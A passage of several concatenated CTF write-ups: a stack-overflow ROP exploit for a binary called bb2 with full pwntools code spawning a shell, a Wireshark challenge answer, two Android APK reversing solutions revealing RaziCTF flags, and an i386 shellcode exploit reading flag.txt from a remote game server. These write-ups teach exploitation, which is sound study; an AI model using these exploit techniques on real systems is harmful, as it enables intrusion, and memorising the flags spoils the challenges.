that. _However_, `gets()` actually doesn't stop reading the input until a newline character: `0x0a`. You can give it a null byte and it will continue to read it. `fopen()` reads the string until a null byte. Therefore, `gets()` will read in something different to `fopen()`. We can add `0x00` in the middle of our input string and `gets()` will read it into the stack while `fopen()` will read only up until the null byte. # Exploitation - getting control of the instruction pointer ```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template bb2from pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('bb2')libc = ELF("./libc-2.28.so")context.terminal = "tmux splitw -v".split() # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR env = {"LD_PRELOAD": "./libc-2.28.so"}#env = {} def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe.path] + argv, env=env, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, env=env, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''tbreak mainbreak *0x00000000004012cfcontinue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.sendlineafter("file to copy", b"/etc/passwd\x00" + cyclic(100))io.sendlineafter("target file", b"/tmp/abcd") io.interactive()``` **Note**: the above was generated by doing `pwn template bb2 > xpl.py`**Note**: the 2nd `gdbscript` breakpoint is near the return of `main` If you run this by doing `python3 xpl.py GDB`, you'll get a GDB screen (assuming you have `tmux` installed) on the bottom. You can type in `c` or `continue` to continue to near the return breakpoint. Stepping through the instructions, you'll see that the `rip` value is part of the `cyclic()` string. You have full control over the instruction pointer. # Exploitation - getting a shellHow are you supposed to get a shell with just an instruction pointer? We're going to use a ROP chain. `pwntools` is pretty neat in that it makes ROP chains really easy to make. It's worth knowing how it works but after a while, you get bored of dealing with the minutae and you just want things to work. We were given `libc-2.28.so` which probably means we want to leak glibc. **Note**: the binary itself has PIE (position independent executable) disabled which means that the addresses of the binary are always going to be the same. However, any libc usually has PIE _enabled_. We don't know the address of anything because it's always randomized. We can leak libc by doing something like this: ```python...rc = ROP(exe)rc.puts(exe.sym.got["puts"])...``` The above snippet basically creates some binary string that runs `puts(puts)` which means "give me the address of the `puts` function". This will tell you the address of `puts` and you can use a libc database (e.g., https://libc.blukat.me/?q=puts%3A910&l=libc6_2.28-10_amd64) to determine where `puts` is relative to the base of libc. ```python...resp = io.recvuntil("file to copy")puts_leak = u64(resp.split(b"\n")[2].ljust(8, b"\x00"))log.success("puts @ {}".format(hex(puts_leak)))libc.address = puts_leak - 0x071910log.success("libc base @ {}".format(hex(libc.address)))...``` **Note**: the 2nd line above boils down to getting the address that's printed out then adding a bunch of `0x00`s to the beginning of the address until it's a full 8 bytes long (due to the 64-bit architecture of the binary). Then we run `u64()` (unpack a 64 bit byte string to an integer) against it. At this point the binary will exit... How will attack the binary after getting the leak? Since we have a ROP chain, we can simply ask the binary to run `main` again: ```python...rc = ROP(exe)rc.puts(exe.sym.got["puts"])rc.raw(p64(exe.sym["main"]))...``` Now, after printing out the address of puts (and you subsequently figuring out the base address of libc), you get the vulnerable function again. We can build another ROP chain to get a shell: ```...pop_rax = libc.address + 0x000000000003a638one_gadget = libc.address + 0x4484f rc = ROP(exe)rc.raw(p64(pop_rax))rc.raw(p64(0x0))rc.raw(p64(one_gadget)) io.sendline(b"/etc/passwd\x00" + cyclic(cut) + rc.chain())io.sendline(b"/tmp/ABCD")...``` I used `one_gadget` (https://github.com/david942j/one_gadget) to find an easy gadget to get a shell (as opposed to writing "/bin/sh" to the bss region, then slowly fiddling with registers): ```0x4484f execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL``` The constraint for this gadget is that `rax` must be NULL (i.e., `0x00`). I found a `pop rax; ret` call in libc by doing `ROPgadget --binary ./libc-2.28.so > rg`. Notice that we have to add the libc base address every time. This is because of PIE. The offsets will always be the same but the base address won't; it will change for each run of the binary. This will set `rax` to `0x00`: ```rc.raw(p64(pop_rax))rc.raw(p64(0x0))``` Then we invoke our one_gadget: ```rc.raw(p64(one_gadget))``` We then exploit the binary the same way as the first time (with the `0x00` byte in the middle of our exploit string). You should have a shell now! **NOTE**: when running this locally, the exploit will segfault even though GDB will say that `/bin/bash` was executed and forked. I haven't figured out why this happens but since GDB says a shell was invoked and forked, I assumed it worked and I ran it against the remote server and it indeed works. # Full exploit code ```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template bb2from pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('bb2')libc = ELF("./libc-2.28.so")context.terminal = "tmux splitw -v".split() # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR env = {"LD_PRELOAD": "./libc-2.28.so"}#env = {} def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe.path] + argv, env=env, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, env=env, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''tbreak mainbreak *0x00000000004012cfcontinue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start()#io = remote("host1.metaproblems.com", 5152) rc = ROP(exe)rc.puts(exe.sym.got["puts"])rc.raw(p64(exe.sym["main"])) cut = cyclic_find(0x6161616c)io.sendlineafter("file to copy", b"/etc/passwd\x00" + cyclic(cut) + rc.chain())io.sendlineafter("target file", b"/tmp/abcd") resp = io.recvuntil("file to copy")puts_leak = u64(resp.split(b"\n")[2].ljust(8, b"\x00"))log.success("puts @ {}".format(hex(puts_leak)))libc.address = puts_leak - 0x071910log.success("libc base @ {}".format(hex(libc.address))) pop_rax = libc.address + 0x000000000003a638one_gadget = libc.address + 0x4484f rc = ROP(exe)rc.raw(p64(pop_rax))rc.raw(p64(0x0))rc.raw(p64(one_gadget)) io.sendline(b"/etc/passwd\x00" + cyclic(cut) + rc.chain())io.sendline(b"/tmp/ABCD") io.interactive()```
# An Evil Christmas Carol 1 ![Traffic Analysis](https://img.shields.io/badge/Traffic+Analysis--2e00ff?style=for-the-badge) ![Points - 20](https://img.shields.io/badge/Points-20-9cf?style=for-the-badge) ```txtA malicious dll was downloaded over http in this traffic, what was the ip address that delivered this file? file: https://tinyurl.com/y259doyqSHA1: 7659667a17bca60310043014ad7971130780cbc1Password: hacktober``` --- Pretty much the same as in both other entry-level traffic analysis challenges: Just filter for HTTP traffic! ![Wireshark](wireshark.png) ... as this will (at least in this case) already present you with the flag: `flag{205.185.125.104}`
# Chasing a lock> Points: 858 ## Description> as locks are so popular many will chase them but why? maybe a flag :) ## SolutionThe app shows locks? at random positions for a very short time interval... If we click the lock 20,000 times it will trigger something.![](locks.png)Decompiled the APK with jadx-gui. The Main Activity calls a class named `switcher` this assembles the flag from 5 functions.```javapublic class switcher { public String run(int i) { if (i != 0) { return null; } a1 a1Var = new a1(); a2 a2Var = new a2(); System.out.println(a2Var.run(i)); String str = (" " + a1Var.run(i)) + a2Var.run(i); a3 a3Var = new a3(); String str2 = str + a3Var.run(i); a4 a4Var = new a4(); String str3 = str2 + a4Var.run(i); a5 a5Var = new a5(); return str3 + a5Var.run(i); }}```### Function a1```javapublic class a1 { public String run(int i) { String str = "Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGhSemxWVm14YU0xWnNXbUZqVmtaMFVteFNUbUpGY0VwV2JURXdZVEZrU0ZOclpHcFRSVXBZV1ZSR2QyRkdjRmRYYlVaclVsUkdWbFpYZUZOVWJVWTJVbFJHVjJFeVVYZFpla3BIWXpGT2RWVnRhRk5sYlhoWFZtMXdUMVF3TUhoalJscFlZbFZhY2xWcVFURlNNV1J5VjJ4T1ZXSlZjRWRaTUZaM1ZqSktWVkpZWkZkaGExcFlXa1ZhVDJNeFpITmhSMnhUVFcxb1dsWXhaRFJpTWtsNVZtNU9WbUpHV2xSWmJGWmhZMVphZEdSSFJrNVNiRm93V2xWYVQxWlhTbFpqUldSYVRVWmFNMVpxU2t0V1ZrcFpXa1p3VjFKV2NIbFdWRUpoVkRKT2MyTkZhR3BTYXpWWVZXcE9iMkl4V1hoYVJGSldUVlZzTlZaWE5VOVhSMHBJVld4c1dtSkdXbWhaTW5oWFkxWkdWVkpzVGs1V01VbzFWbXBKTVdFeFdYZE5WVlpUWVRGd1YxbHJXa3RUUmxweFVtMUdVMkpWYkRaWGExcHJZVWRGZUdOSE9WZGhhMHBvVmtSS1QyUkdTbkpoUjJoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxOSFVuTlZha0p6VGtaVmVXUkhkRmhTTUhCSlZsZDRjMWR0U2tkWGJXaGFUVzVvV0ZsNlJsZGpiSEJIV2tkc1UySnJTbUZXTW5oWFdWWlJlRmRzYUZSaVJuQlpWbXRXZDFZeGJISlhhM1JVVW14d2VGVnRNVWRWTWtwV1lrUmFXR0V4Y0hKWlZXUkdaVWRPU0U5V1pHaGhNSEJ2Vm10U1MxUXlVa2RUYmtwaFVtMW9jRlpxU205bGJHUllaVWM1YVUxcmJEUldNV2h2V1ZaS1IxTnVRbFZXTTFKNlZHdGFZVk5IVWtoa1JtUnBWbGhDU1ZacVNqUlZNV1IwVTJ0a1dHSlhhR0ZVVnpWdlYwWnJlRmRyWkZkV2EzQjZWa2R6TVZZd01WWmlla1pYWWxoQ1RGUnJXbEpsUm1SellVWlNhVkp1UW5oV1YzaHJWVEZzVjFWc1dsaGlWVnBQVkZaYWQyVkdWWGxrUkVKWFRWWndlVmt3V25kWFIwVjRZMFJPV21FeVVrZGFWM2hIWTIxS1IxcEhiRmhTVlhCS1ZtMTBVMU14VlhoWFdHaFlZbXhhVmxsclpHOWpSbHB4VTIwNWJHSkhVbGxhVldNMVlWVXhjbUpFVWxkTmFsWlVWa2Q0YTFOR1ZuTlhiRlpYVFRGS05sWkhlR0ZXTWxKSVZXdG9hMUl5YUhCVmJHaENaREZhYzFwRVVtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZucFdkbFl3V25KbFJtUnlXa1prVjJFelFqWldhMlI2VFZaa1IxTnNXbXBTVjNoWVdXeG9RMVJHVW5KWGJFcHNVbTFTZWxsVldsTmhSVEZ6VTI1b1YxWjZSVEJhUkVaclVqSktTVlJ0YUZOaGVsWlFWa1phWVdReVZrZFdXR3hyVWtWS1dGUldXbmRsVm10M1YyNWtXRkl3VmpSWk1GSlBWMjFGZVZWclpHRldNMmhJV1RJeFMxSXhjRWhpUm1oVFZsaENTMVp0TVRCVk1VMTRWbGhvV0ZkSGFGbFpiWGhoVm14c2NscEhPV3BTYkhCNFZUSXdOV0pIU2toVmJHeGhWbGROTVZsV1ZYaGpiVXBGVld4a1RtRnNXbFZXYTJRMFlURk9SMVp1VGxoaVJscFlXV3RvUTFkV1draGxSMFpYVFd4S1NWWlhkRzloTVVwMFZXczVWMkZyV2t4Vk1uaHJWakZhZEZKdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp1Y0Zka2JGbDNWMjVLYkZKdFVubFhhMXByVmpKRmVsRnFXbGRoTWxJMlZGWmFXbVF3TVZkWGJXeHNZVEZ3V1ZkWGVHOVJNVkpIVlc1S1dHSkZjSE5WYlRGVFpXeHNWbGRzVG1oV2EzQXhWVmMxYjFZeFdYcGhTRXBYVmtWYWVsWnFSbGRqTVdSellVZHNWMVp1UWpaV01XUXdXVmRSZVZaclpGZFhSM2h5Vld0V1MxZEdVbGRYYm1Sc1ZteHNOVnBWYUd0WFIwcEhZMFpvV2sxSFVuWldNbmhoVjBaV2NscEhSbGRXTVVwUlZsZHdTMUl4U1hsU2EyaHBVbXMxY0ZsVVFuZE5iRnAwVFZSQ1ZrMVZNVFJXVm1oelZtMUZlVlZzV2xwaVdGSXpXVlZhVjJSSFZrWmtSM0JUWWtoQ05GWnJZM2RPVm1SSFYyNU9hbEp0ZUdGVVZWcFdUVlpzVjFaWWFHcGlWWEJHVmxkNGExUnRSbk5YYkZaWVZtMVJNRlY2Um1GamF6VlhZa1pLYVZKc2NGbFhWM1JoWkRGa1YxZHJhR3RTTUZwdlZGZHpNV1ZzV1hsT1ZrNW9UVlZzTlZsVmFFTldiVXBJWVVWT1lWSkZXbWhaZWtaM1VsWldkR05GTlZkTlZXd3pWbXhTUzAxSFJYaGFSV2hVWWtkb2IxVnFRbUZXYkZwMFpVaGtUazFXY0hsV01qRkhZV3hhY21ORVFtRlNWMUYzVm1wS1MyTnNUbkpoUm1SVFRUSm9iMVpyVWt0U01WbDRWRzVXVm1KRlNsaFZiRkpYVjFaYVIxbDZSbWxOVjFKSVdXdGFWMVZzWkVoaFJsSlZWbTFTVkZwWGVITldiR1J6Vkcxb1UxWkZXalpXVkVreFlqRlplRmRZY0ZaaVIyaFpWbTE0ZDFsV2NGWlhiWFJyVm10d2VsWnRNWE5XTVVsNllVUldWMDFYVVhkWFZtUlNaVlphY2xwR1pHbGlSWEI1VmxkMFYxTXlTWGhpUm14cVVsZFNjMVp0ZUV0bGJGcDBUVVJXV0ZJd2NFaFpNRnB2VjJzeFNHRkZlRmROYm1ob1ZqQmFWMk5zY0VoU2JHUk9UVzFvU2xZeFVrcGxSazE0VTFob2FsSlhVbWhWYlhNeFYwWlpkMVpyZEU1aVJuQXdXVEJXYTFkc1dYZFdhbEpYWWtkb2RsWXdXbXRUUjBaSFYyeHdhVmRIYUc5V2JURTBZekpPYzFwSVNtdFNNMEpVV1d0YWQwNUdXbGhOVkVKT1VteHNORll5TlU5aGJFcFlZVVpvVjJGck5WUldSVnB6VmxaR1dXRkdUbGRoTTBJMlZtdGtORmxXVlhsVGExcFlWMGhDV0Zac1duZFNNVkY0VjJ0T1ZtSkZTbFpVVlZGM1VGRTlQUT09"; int i2 = 0; while (i2 < 20) { i2++; str = new String(Base64.decode(str.getBytes(), 0)); } return str; }}```Decoding the base64 string 19 times gives `RaziCTF` ### Function a2```javapublic class a2 { public String run(int i) { return xorHex("787d6c7f2c352b2c", "313333376d616e73313333376861"); } public String xorHex(String str, String str2) { char[] cArr = new char[str.length()]; int i = 0; for (int i2 = 0; i2 < cArr.length; i2++) { cArr[i2] = toHex(fromHex(str.charAt(i2)) ^ fromHex(str2.charAt(i2))); } StringBuilder sb = new StringBuilder(); while (i < new String(cArr).length()) { int i3 = i + 2; sb.append((char) Integer.parseInt(new String(cArr).substring(i, i3), 16)); i = i3; } return "{" + sb.toString().trim(); }```It xors `0x787d6c7f2c352b2c` with `0x313333376d616e73313333376861` and decodes from hex and gives `{IN_HATE_` ### Function a3```javapublic class a3 { public String run(int i) { int i2 = (i % 100000) / 2; return (i2 - i2) + "F"; }}```Returns `0F` ### Function a4```javapublic class a4 { public String run(int i) { return "_RUNN"; }}```Returns `_RUNN` ### Function a5This is the most complicated function jadx can't decompile most of it's code. The interesting parts are...```javajava.lang.String r0 = "=" java.lang.String r1 = "%" java.lang.String r2 = "!" java.lang.String[] r2 = new java.lang.String[]{r2, r1, r0} java.lang.String r3 = "a" java.lang.String r4 = "b" java.lang.String r5 = "N" java.lang.String[] r4 = new java.lang.String[]{r3, r4, r5} java.lang.String r5 = "1" java.lang.String r6 = "G" java.lang.String r7 = "2" java.lang.String[] r5 = new java.lang.String[]{r5, r6, r7} java.lang.String r6 = "_" java.lang.String[] r1 = new java.lang.String[]{r6, r1, r0} java.lang.String r0 = "A" java.lang.String r6 = "L" java.lang.String r7 = "D" java.lang.String[] r6 = new java.lang.String[]{r0, r6, r7} java.lang.String r7 = "0" java.lang.String r0 = "R" java.lang.String r8 = "$" java.lang.String[] r8 = new java.lang.String[]{r0, r7, r8} java.lang.String r0 = "C" java.lang.String r9 = "q" java.lang.String r10 = "3" java.lang.String[] r9 = new java.lang.String[]{r0, r9, r10} java.lang.String r0 = "K" java.lang.String r10 = "4" java.lang.String r11 = "(" java.lang.String[] r10 = new java.lang.String[]{r10, r0, r11} java.lang.String r11 = "5" java.lang.String r12 = "J" java.lang.String[] r11 = new java.lang.String[]{r11, r12, r0} java.io.PrintStream r0 = java.lang.System.out r0.println(r3) ..... if (r9 >= r13) goto L_0x015e java.lang.StringBuilder r0 = new java.lang.StringBuilder r0.<init>() r13 = r2[r12] r0.append(r13) r13 = r4[r14] r0.append(r13) r13 = r5[r15] r0.append(r13) r13 = r1[r3] r0.append(r13) r13 = r6[r7] r0.append(r13) r13 = r8[r11] r0.append(r13) r13 = r19[r10] r0.append(r13) r13 = r18[r20] r0.append(r13) r13 = r17[r9] r0.append(r13) java.lang.String r0 = r0.toString() java.lang.StringBuilder r13 = new java.lang.StringBuilder r13.<init>() r13.append(r0) java.lang.String r0 = "}" r13.append(r0) java.lang.String r0 = r13.toString() java.io.PrintStream r13 = java.lang.System.out ```The code is too complicated to understand.. So I applied some common sonse... `RUNN` must mean `RUNNING` which becomes `RUNN!NG_`.After that I bruteforced the last 5 digits and searched for meaningful word. Generated a simple wordlist for indices with crunch for bruteforce `crunch 5 5 012 > combi````pyarr1 = ["A", "L", "D"]arr2 = ["0", "R", "$"]arr3 = ["C", "q", "3"]arr4 = ["K", "4", "("]arr5 = ["K", "5", "J"] f = open("combi")lines = f.readlines()for line in lines: combination = (line.strip()) junk = [] for i in combination: junk.append(int(i)) flag = "" flag += str(arr1[junk[0]]) flag += str(arr2[junk[1]]) flag += str(arr3[junk[2]]) flag += str(arr4[junk[3]]) flag += str(arr5[junk[4]]) print(flag)```The meaningful word is `L0CK5`So the total return is `!NG_L0CK5}`## Flag> RaziCTF{IN_HATE_0F_RUNN!NG_L0CK5}
We have the binary of the server and the binary of the client. The server can compute operations in Reverse Polish Notation. It's easy to crash the server sending lots of data to cause an overflow. Using gdb we can see that the program tried to execute an instruction on a specific address that we can control, however the address of the instruction is specified on the heap, so it's not easy to create a rop chain to execute arbitrary functions. What we did was to set as return address the address of a rop gadget `pop ebp; ret`, because we see that in the stack there was our input (aaaaaaaa): ```00:0000│ esp 0xffffd9fc —▸ 0x8049a4d ◂— add esp, 0x10 # this parameter will be popped away with pop ebp;01:0004│ 0xffffda00 —▸ 0xffffda10 ◂— 0x616161616161 # our input -> executed with ret;``` Since the server's binary has the stack executable we can override the "aaaaaaaa" -> 0x61616161616161 with a shellcode, We tried with a bind shell or reverse shell shellcode but the firewall blocked our connections. So we crafted our shellcode that: 1. open the file `flag.txt`2. read the content of flag.txt and write the content inside a chunk in the heap -> there was already a function in the binary to do this and the chunk in the heap is always the same since PIE is disabled.3. send back to us the content of the chunk in the heap using the socket file descriptor (4) -> there was already a function in the binary to do this exploit: ```py#!/usr/bin/env python3 from pwn import *import string context.log_level = "debug"context.arch = "i386" PADDING = 204PASSWORD = b"JustPwnThis!" pop_ebp_ret = p32(0x0804AD23)flag = b"./flag.txt\x00\x00"[::-1]shellcode = asm( f""" xor ecx, ecx mul ecx mov al, 0x05 push ecx push 0x{flag.hex()[:8]} push 0x{flag.hex()[8:16]} push 0x{flag.hex()[16:24]} mov ebx, esp int 0x80 push {hex(0x804a8c8+9712)} mov edx, esp push 0x100 push edx push eax mov edx, 0x804a5ca call edx pop eax pop ebx push ebx push 4 mov edx, 0x0804a650 call edx """).ljust(PADDING, b"\x90") payload = p32(0x804A8C8) + shellcode + pop_ebp_ret # conn = remote("localhost", 9000)conn = remote("gamebox1.reply.it", 27364)conn.recvline()conn.sendline(PASSWORD)conn.recvline()conn.sendline(payload)print(conn.recvuntil(b"}"))```
# Strong Padlock> Points: 989 ## Description> I heard some where that if you hit a padlock enough they will give you a flag? is that true? ## SolutionSimilar to chasing a lock![](locks.png)Decompiled the APK with jadx-gui. The Main Activity calls a class named `switcher` this assembles the flag from 5 functions.```javapublic class switcher { public String run(int i) { if (i == 18) { return new a1().run(i); } if (i == 15) { return new a2().run(i); } if (i == 12) { return new a3().run(i); } if (i == 10) { return new a4().run(i); } if (i == 5) { return new a5().run(i); } return null; }}```### Function a1```javapublic class a1 { public String run(int i) { String str = "Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGhSemxWVm14YU0xWnNXbUZqVmtaMFVteFNUbUpGY0VwV2JURXdZVEZrU0ZOclpHcFRSVXBZV1ZSR2QyRkdjRmRYYlVaclVsUkdWbFpYZUZOVWJVWTJVbFJHVjJFeVVYZFpla3BIWXpGT2RWVnRhRk5sYlhoWFZtMXdUMVF3TUhoalJscFlZbFZhY2xWcVFURlNNV1J5VjJ4T1ZXSlZjRWRaTUZaM1ZqSktWVkpZWkZkaGExcFlXa1ZhVDJNeFpITmhSMnhUVFcxb1dsWXhaRFJpTWtsNVZtNU9WbUpHV2xSWmJGWmhZMVphZEdSSFJrNVNiRm93V2xWYVQxWlhTbFpqUldSYVRVWmFNMVpxU2t0V1ZrcFpXa1p3VjFKV2NIbFdWRUpoVkRKT2MyTkZhR3BTYXpWWVZXcE9iMkl4V1hoYVJGSldUVlZzTlZaWE5VOVhSMHBJVld4c1dtSkdXbWhaTW5oWFkxWkdWVkpzVGs1V01VbzFWbXBKTVdFeFdYZE5WVlpUWVRGd1YxbHJXa3RUUmxweFVtMUdVMkpWYkRaWGExcHJZVWRGZUdOSE9WZGhhMHBvVmtSS1QyUkdTbkpoUjJoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxOSFVuTlZha0p6VGtaVmVXUkhkRmhTTUhCSlZsZDRjMWR0U2tkWGJXaGFUVzVvV0ZsNlJsZGpiSEJIV2tkc1UySnJTbUZXTW5oWFdWWlJlRmRzYUZSaVJuQlpWbXRXZDFZeGJISlhhM1JVVW14d2VGVnRNVWRWTWtwV1lrUmFXR0V4Y0hKWlZXUkdaVWRPU0U5V1pHaGhNSEJ2Vm10U1MxUXlVa2RUYmtwaFVtMW9jRlpxU205bGJHUllaVWM1YVUxcmJEUldNV2h2V1ZaS1IxTnVRbFZXTTFKNlZHdGFZVk5IVWtoa1JtUnBWbGhDU1ZacVNqUlZNV1IwVTJ0a1dHSlhhR0ZVVnpWdlYwWnJlRmRyWkZkV2EzQjZWa2R6TVZZd01WWmlla1pYWWxoQ1RGUnJXbEpsUm1SellVWlNhVkp1UW5oV1YzaHJWVEZzVjFWc1dsaGlWVnBQVkZaYWQyVkdWWGxrUkVKWFRWWndlVmt3V25kWFIwVjRZMFJPV21FeVVrZGFWM2hIWTIxS1IxcEhiRmhTVlhCS1ZtMTBVMU14VlhoWFdHaFlZbXhhVmxsclpHOWpSbHB4VTIwNWJHSkhVbGxhVldNMVlWVXhjbUpFVWxkTmFsWlVWa2Q0YTFOR1ZuTlhiRlpYVFRGS05sWkhlR0ZXTWxKSVZXdG9hMUl5YUhCVmJHaENaREZhYzFwRVVtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZucFdkbFl3V25KbFJtUnlXa1prVjJFelFqWldhMlI2VFZaa1IxTnNXbXBTVjNoWVdXeG9RMVJHVW5KWGJFcHNVbTFTZWxsVldsTmhSVEZ6VTI1b1YxWjZSVEJhUkVaclVqSktTVlJ0YUZOaGVsWlFWa1phWVdReVZrZFdXR3hyVWtWS1dGUldXbmRsVm10M1YyNWtXRkl3VmpSWk1GSlBWMjFGZVZWclpHRldNMmhJV1RJeFMxSXhjRWhpUm1oVFZsaENTMVp0TVRCVk1VMTRWbGhvV0ZkSGFGbFpiWGhoVm14c2NscEhPV3BTYkhCNFZUSXdOV0pIU2toVmJHeGhWbGROTVZsV1ZYaGpiVXBGVld4a1RtRnNXbFZXYTJRMFlURk9SMVp1VGxoaVJscFlXV3RvUTFkV1draGxSMFpYVFd4S1NWWlhkRzloTVVwMFZXczVWMkZyV2t4Vk1uaHJWakZhZEZKdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp1Y0Zka2JGbDNWMjVLYkZKdFVubFhhMXByVmpKRmVsRnFXbGRoTWxJMlZGWmFXbVF3TVZkWGJXeHNZVEZ3V1ZkWGVHOVJNVkpIVlc1S1dHSkZjSE5WYlRGVFpXeHNWbGRzVG1oV2EzQXhWVmMxYjFZeFdYcGhTRXBYVmtWYWVsWnFSbGRqTVdSellVZHNWMVp1UWpaV01XUXdXVmRSZVZaclpGZFhSM2h5Vld0V1MxZEdVbGRYYm1Sc1ZteHNOVnBWYUd0WFIwcEhZMFpvV2sxSFVuWldNbmhoVjBaV2NscEhSbGRXTVVwUlZsZHdTMUl4U1hsU2EyaHBVbXMxY0ZsVVFuZE5iRnAwVFZSQ1ZrMVZNVFJXVm1oelZtMUZlVlZzV2xwaVdGSXpXVlZhVjJSSFZrWmtSM0JUWWtoQ05GWnJZM2RPVm1SSFYyNU9hbEp0ZUdGVVZWcFdUVlpzVjFaWWFHcGlWWEJHVmxkNGExUnRSbk5YYkZaWVZtMVJNRlY2Um1GamF6VlhZa1pLYVZKc2NGbFhWM1JoWkRGa1YxZHJhR3RTTUZwdlZGZHpNV1ZzV1hsT1ZrNW9UVlZzTlZsVmFFTldiVXBJWVVWT1lWSkZXbWhaZWtaM1VsWldkR05GTlZkTlZXd3pWbXhTUzAxSFJYaGFSV2hVWWtkb2IxVnFRbUZXYkZwMFpVaGtUazFXY0hsV01qRkhZV3hhY21ORVFtRlNWMUYzVm1wS1MyTnNUbkpoUm1SVFRUSm9iMVpyVWt0U01WbDRWRzVXVm1KRlNsaFZiRkpYVjFaYVIxbDZSbWxOVjFKSVdXdGFWMVZzWkVoaFJsSlZWbTFTVkZwWGVITldiR1J6Vkcxb1UxWkZXalpXVkVreFlqRlplRmRZY0ZaaVIyaFpWbTE0ZDFsV2NGWlhiWFJyVm10d2VsWnRNWE5XTVVsNllVUldWMDFYVVhkWFZtUlNaVlphY2xwR1pHbGlSWEI1VmxkMFYxTXlTWGhpUm14cVVsZFNjMVp0ZUV0bGJGcDBUVVJXV0ZJd2NFaFpNRnB2VjJzeFNHRkZlRmROYm1ob1ZqQmFWMk5zY0VoU2JHUk9UVzFvU2xZeFVrcGxSazE0VTFob2FsSlhVbWhWYlhNeFYwWlpkMVpyZEU1aVJuQXdXVEJXYTFkc1dYZFdhbEpYWWtkb2RsWXdXbXRUUjBaSFYyeHdhVmRIYUc5V2JURTBZekpPYzFwSVNtdFNNMEpVV1d0YWQwNUdXbGhOVkVKT1VteHNORll5TlU5aGJFcFlZVVpvVjJGck5WUldSVnB6VmxaR1dXRkdUbGRoTTBJMlZtdGtORmxXVlhsVGExcFlWMGhDV0Zac1duZFNNVkY0VjJ0T1ZtSkZTbFpVVlZGM1VGRTlQUT09"; int i2 = 0; while (i2 < 20) { i2++; str = new String(Base64.decode(str.getBytes(), 0)); } return str; }}```Decoding the base64 string 19 times gives `RaziCTF` ### Function a2```javapublic class a2 { public String run(int i) { return xorHex("6107577B5D222546", "313333376d616e73313333376861"); } public String xorHex(String str, String str2) { char[] cArr = new char[str.length()]; int i = 0; for (int i2 = 0; i2 < cArr.length; i2++) { cArr[i2] = toHex(fromHex(str.charAt(i2)) ^ fromHex(str2.charAt(i2))); } StringBuilder sb = new StringBuilder(); while (i < new String(cArr).length()) { int i3 = i + 2; sb.append((char) Integer.parseInt(new String(cArr).substring(i, i3), 16)); i = i3; } return "{" + sb.toString().trim(); }```It xors `0x6107577B5D222546` with `0x313333376d616e73313333376861` and decodes from hex and gives `{P4dL0CK5` ### Function a3```javapublic class a3 { public String run(int i) { return "_" + ((i % 100000) / 4) + "R" + 4; }}```Returns `_3R4` (as i=12 from switcher)But as for flag it should be `_4R3` or it wouldn't make sense ### Function a4```javapublic class a4 { public String run(int i) { return "_FUN"; }}```Returns `_FUN` ### Function a5This is the most complicated function jadx can't decompile most of it's code. The interesting parts are...```java java.lang.String r0 = "=" java.lang.String r1 = "%" java.lang.String r2 = "_" java.lang.String[] r3 = new java.lang.String[]{r2, r1, r0} java.lang.String r4 = "a" java.lang.String r5 = "b" java.lang.String r6 = "T" java.lang.String[] r5 = new java.lang.String[]{r4, r5, r6} java.lang.String r6 = "0" java.lang.String r7 = "1" java.lang.String r8 = "2" java.lang.String[] r7 = new java.lang.String[]{r7, r6, r8} java.lang.String[] r1 = new java.lang.String[]{r2, r1, r0} java.lang.String r0 = "A" java.lang.String r2 = "B" java.lang.String r8 = "D" java.lang.String[] r2 = new java.lang.String[]{r0, r2, r8} java.lang.String r0 = "3" java.lang.String r8 = "R" java.lang.String r9 = "$" java.lang.String[] r8 = new java.lang.String[]{r8, r0, r9} java.lang.String r9 = "H" java.lang.String r10 = "q" java.lang.String[] r9 = new java.lang.String[]{r9, r10, r0} java.lang.String r0 = "4" java.lang.String r10 = ")" java.lang.String r11 = "(" java.lang.String[] r10 = new java.lang.String[]{r0, r10, r11} java.lang.String r0 = "I" java.lang.String r11 = "J" java.lang.String r12 = "K" java.lang.String[] r11 = new java.lang.String[]{r0, r11, r12} java.io.PrintStream r0 = java.lang.System.out r0.println(r4) ..... if (r10 >= r13) goto L_0x0152 java.lang.StringBuilder r0 = new java.lang.StringBuilder 